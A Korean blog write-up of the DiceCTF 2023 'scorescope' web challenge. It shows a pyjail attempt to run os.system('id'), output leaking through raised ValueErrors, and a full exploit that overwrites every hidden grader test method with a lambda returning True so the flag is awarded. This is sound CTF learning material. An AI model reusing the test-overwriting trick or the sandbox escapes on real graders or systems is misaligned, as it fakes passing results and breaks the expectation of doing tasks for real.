CTF Reviewed & Writeups/Dice CTF

2023 Dice CTF 복기

반응형
SMALL

Dice CTF

최근에 CTF를 거의 참여하지 않았다가, 팀 내에서 CTF 팀으로 활동을 하게 되어서 오랜만에 CTF를 참가했습니다.

오랜만에 CTF를 참가하기도하고 다른 프로젝트를 진행하느라 보안공부를 많이 하지 못했어서 감이 많이 죽었다는게 CTF를 통해서 느껴진 것 같습니다..

이번에 참가한 Dice CTF는 Web 문제가 상당히 어려웠던 것으로 기억합니다, 계속 도전을 해보았지만 결국 마지막까지 풀지 못했고, 이번에 CTF에서 도전했던 "scorescope" Web 문제의 접근 방식과 풀이 방법을 비교해보면서 복기하는 시간을 가지려고 합니다.

scorescope (WEB)

문제 설명

I'm really struggling in this class. Care to give me a hand?

문제 설명만 보았을때, 주어진 문제 같은 걸 해결하면 FLAG를 주는 거 같다고 예측하였습니다, 아래는 문제 페이지에 접근했을때에 사진입니다.

DICE CTF 2023 "scorescope"

Download Template.py 라는 버튼을 클릭하면 template.py 파일이 다운로드 됩니다.

아래는 Template.py 파일의 일부 코드 입니다.

### template.py


def longest(words):
    '''
    Return the longest word in a list of words.
    When there are multiple words of the same length, return the first.

    Parameters:
        words (list): A list of words.

    Returns:
        str: The longest word in the list.
    '''

    ######## YOUR CODE ########
    
    raise NotImplementedError

    ###########################
    
###

위에 함수에는 주석으로 문제가 설명되어 있습니다, 그리고 YOUR CODE 부분에 문제 설명에 해당하는 코드를 작성해서 return 해줘야 한다는 것을 예측해볼 수 있습니다.

문제에 맞는 반환값이 정확하게 출력되면, success 라고 출력이 됩니다.

DICE CTF 2023 "scorescope"

문제 접근

해당 문제를 풀기 위해서는 2가지의 풀이 방법이 있을것이라고 예측했습니다.

1. 모든 문제를 모두 풀어 FLAG를 획득하는 방법
2. Python 코드를 이용해서 System 함수를 실행해 FLAG를 읽는 방법

저는 1번째 방법을 실행하기에는 문제가 너무 랜덤이 나오는 문제도 있고, 알고리즘을 이용하는 문제도 있기 때문에 문제를 모두 풀기에는 불가능할 것 이라고 생각하였습니다.

2번째 방법이 가장 가능성 있는 시나리오라고 생각해서 도전해 봤습니다.

pyjail이 가능성 있다고 생각해 python을 이용해 아래의 exploit 코드를 구상해냈습니다.

__import__("os").__dict__["system"]("id")

값을 확인할 수 있어야 한다고 생각하여, 해당 exploit 코드를 return 해주어 실행해봤습니다.

DICE CTF 2023 "scorescope"

하지만 외부 함수 실행, shellcode 실행, 등의 화려한 작업을 금지하고 막고 있습니다.

저는 이를 우회할 수 있는 방법이 있을거라고 생각하여 계속 pyjail과 관련된 문제를 찾아보았습니다.

그러다가 강제적으로 error를 발생시켜서 message를 출력하면 출력 메시지 전체를 볼 수 있다는 것을 알게 되었습니다.

raise ValueError(dir(__import__))

##### #####
ValueError: ['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']

이를 이용해서 계속해서 pyjail escape를 시도해보았지만 계속해서 실패했고, 결국에는 문제를 풀지 못하였습니다..

문제 WriteUp

DICE CTF 대회가 종료 된 후, Writeup을 요청하여 scorescope Writeup을 받아볼 수 있었습니다.

문제 Writeup은 아래 블로그를 참고 하였습니다.

https://sk4d.tk/posts/scorescope-dicectf-2023/

 

scorescope Writeup [DiceCTF 23]

tl;dr read output using ValueError sys.modules to print all the app modules go through the module classes and find the test case functions and re-write them to always return true intro I played DiceCTF 2023 last weekend with my team bi0s. There a were a lo

sk4d.tk

해당 문제의 풀이 방법은 주어진 문제를 모두 통과하게 할 수 있는 트릭을 이용하는 것 이였습니다.

즉, 모든 문제를 강제적으로 success를 발생시켜 문제를 통과하는 풀이 방법이 존재하였습니다.

아래는 Exploit code입니다.

먼저 해당 문제에서는 외부 모듈의 함수호출은 막지만 외부 모듈의 프로퍼티는 막지 않습니다, sys 모듈의 프로퍼티를 사용하는 것은 금지되어 있지 않았습니다.

즉, 아래의 모듈을 사용하면 해당 코드에 정의되어 있는 모든 모듈을 확인할 수 있습니다.

raise ValueError(dir(__import__("sys").__dict__["modules"]))

##### #####
ValueError: {'importlib.resources': <module 'importlib.resources' from '/usr/local/lib/python3.11/importlib/resources/__init__.py'>, 'importlib.abc': <module 'importlib.abc' from '/usr/local/lib/python3.11/importlib/abc.py'>, 'importlib.util': <module 'importlib.util' (frozen)>, 'cython_runtime': <module 'cython_runtime'>, 'seccomp': <module 'seccomp' from '/usr/local/lib/python3.11/site-packages/seccomp-2.5.4-py3.11-linux-x86_64.egg/seccomp.cpython-311-x86_64-linux-gnu.so'>, 'util': <module 'util' from '/app/util.py'>, 'test_1_add': <module 'test_1_add' from '/app/tests/test_1_add.py'>, 'test_2_longest': <module 'test_2_longest' from '/app/tests/test_2_longest.py'>, 'test_3_common': <module 'test_3_common' from '/app/tests/test_3_common.py'>, 'test_4_favorite': <module 'test_4_favorite' from '/app/tests/test_4_favorite.py'>, 'test_5_factor': <module 'test_5_factor' from '/app/tests/test_5_factor.py'>, '_hashlib': <module '_hashlib' from '/usr/local/lib/python3.11/lib-dynload/_hashlib.cpython-311-x86_64-linux-gnu.so'>, '_blake2': <module '_blake2' from '/usr/local/lib/python3.11/lib-dynload/_blake2.cpython-311-x86_64-linux-gnu.so'>, 'hashlib': <module 'hashlib' from '/usr/local/lib/python3.11/hashlib.py'>, 'test_6_preimage': <module 'test_6_preimage' from '/app/tests/test_6_preimage.py'>, 'test_7_magic': <module 'test_7_magic' from '/app/tests/test_7_magic.py'>, 'test_8_hidden': <module 'test_8_hidden' from '/app/tests/test_8_hidden.py'>, 'submission': <module 'submission'>}

해당 출력결과를 확인해보면 위와 같이 특이해보이는 모듈이 존재합니다, 특정 모듈만 보아보면 아래와 같이 저장되어 있습니다.

test_1_add, test_2_longest, test_3_common, test_4_favorite, test_5_factor, test_6_preimage, test_7_magic, test_8_hidden

위의 해당 모듈은 문제명과 동일한 모듈입니다.

이를 불러와서 모듈 안에 있는 메서드를 가져와, lamda를 사용해 모두 True로 바꿔주면 트릭으로 문제를 통과할 수 있습니다.

(모듈안에 있는 메서드명은 일일히 dir 함수를 이용해 확인하면 알 수 있습니다.)

import test_1_add
import test_2_longest
import test_3_common
import test_4_favorite
import test_5_factor
import test_6_preimage
import test_7_magic
import test_8_hidden

test_1_add.TestAdd.test_add_negative = lambda s: True
test_1_add.TestAdd.test_add_mixed = lambda s: True
test_1_add.TestAdd.test_add_positive = lambda s: True

test_2_longest.TestLongest.test_longest_empty = lambda s: True
test_2_longest.TestLongest.test_longest_multiple = lambda s: True
test_2_longest.TestLongest.test_longest_single = lambda s: True
test_2_longest.TestLongest.test_longest_multiple_tie = lambda s: True

test_3_common.TestCommon.test_common_empty = lambda s: True
test_3_common.TestCommon.test_common_many = lambda s: True
test_3_common.TestCommon.test_common_single = lambda s: True
test_3_common.TestCommon.test_common_nonconsecutive = lambda s: True
test_3_common.TestCommon.test_common_consecutive = lambda s: True

test_4_favorite.TestFavorite.test_favorite = lambda s: True

test_5_factor.TestFactor.test_factor_small = lambda s: True
test_5_factor.TestFactor.test_factor_large = lambda s: True
test_5_factor.TestFactor.test_factor_bigger = lambda s: True

test_6_preimage.TestPreimage.test_preimage_a = lambda s: True
test_6_preimage.TestPreimage.test_preimage_b = lambda s: True

test_7_magic.TestMagic.test_magic_a = lambda s: True
test_7_magic.TestMagic.test_magic_b = lambda s: True
test_7_magic.TestMagic.test_magic_c = lambda s: True

test_8_hidden.TestHidden.test_hidden = lambda s: True

위와 같이 모든 모듈의 메서드를 lamda 식을 사용해 모두 True로 바꾸고 실행하면 아래와 같이 FLAG를 얻을 수 있습니다.

전체적인 Exploit 코드는 아래와 같습니다.

def add(a, b):
    ######## YOUR CODE ########

    import test_1_add
    import test_2_longest
    import test_3_common
    import test_4_favorite
    import test_5_factor
    import test_6_preimage
    import test_7_magic
    import test_8_hidden

    y = test_1_add.TestAdd()
    y.__class__.test_add_negative = lambda s: True
    y.__class__.test_add_mixed = lambda s: True
    y.__class__.test_add_positive = lambda s: True

    test_2_longest.TestLongest.test_longest_empty = lambda s: True
    test_2_longest.TestLongest.test_longest_multiple = lambda s: True
    test_2_longest.TestLongest.test_longest_single = lambda s: True
    test_2_longest.TestLongest.test_longest_multiple_tie = lambda s: True

    test_3_common.TestCommon.test_common_empty = lambda s: True
    test_3_common.TestCommon.test_common_many = lambda s: True
    test_3_common.TestCommon.test_common_single = lambda s: True
    test_3_common.TestCommon.test_common_nonconsecutive = lambda s: True
    test_3_common.TestCommon.test_common_consecutive = lambda s: True

    test_4_favorite.TestFavorite.test_favorite = lambda s: True

    test_5_factor.TestFactor.test_factor_small = lambda s: True
    test_5_factor.TestFactor.test_factor_large = lambda s: True
    test_5_factor.TestFactor.test_factor_bigger = lambda s: True

    test_6_preimage.TestPreimage.test_preimage_a = lambda s: True
    test_6_preimage.TestPreimage.test_preimage_b = lambda s: True

    test_7_magic.TestMagic.test_magic_a = lambda s: True
    test_7_magic.TestMagic.test_magic_b = lambda s: True
    test_7_magic.TestMagic.test_magic_c = lambda s: True

    test_8_hidden.TestHidden.test_hidden = lambda s: True

    return a + b # <- 위의 Exploit 코드를 실행하려면 Error가 아닌 반환값이 있어야 하기때문에 반환값을 return 해줍니다.

    ###########################

 

DICE CTF 2023 "scorescope"

FLAG : dice{still_more_secure_than_gradescope}

문제 Writeup 2

위의 방법만 아닌 약간의 언인텐(?)스러운 방법으로도 문제를 해결할 수 있는 방법이 존재하였습니다.

DICE CTF OFFICAL DISCORD SERVER

위의 메시지서럼 약간의 언인텐 스러운 방법이 존재합니다.

가장 쉬운문제를 미리 통과하고 해당 통과된 문제로 다른 문제를 덮어주면 문제를 해결할 수 있습니다.

DICE CTF 2023 "scorescope"

위와 같이 통과된 함수를 모두 덮어서 문제를 통과하는 방법입니다.

이 방법이 왜 되는지는 더 알아봐야 하겠지만 이렇게도 풀 수 있어서 FLAG를 주는 원리를 조금 더 자세하게 알고 싶은 마음이 생깁니다..ㅋㅋㅋㅋ

느낀점

오랜만에 CTF를 참여해서 Web 문제를 풀어보았는데 생각보다 문제가 많이 어려워서 당황했습니다..

WEB 문제를 보는 감이 많이 떨어진 것 같기도 하고 더 열심히 공부해야겠다는 생각이 많이 들었던 문제였습니다.

앞으로 계속해서 CTF를 계속 참여해보면서 CTF에 대한 경험도 늘리고 실력도 더 많이 늘려야겠다고 생각했습니다.

반응형
LIST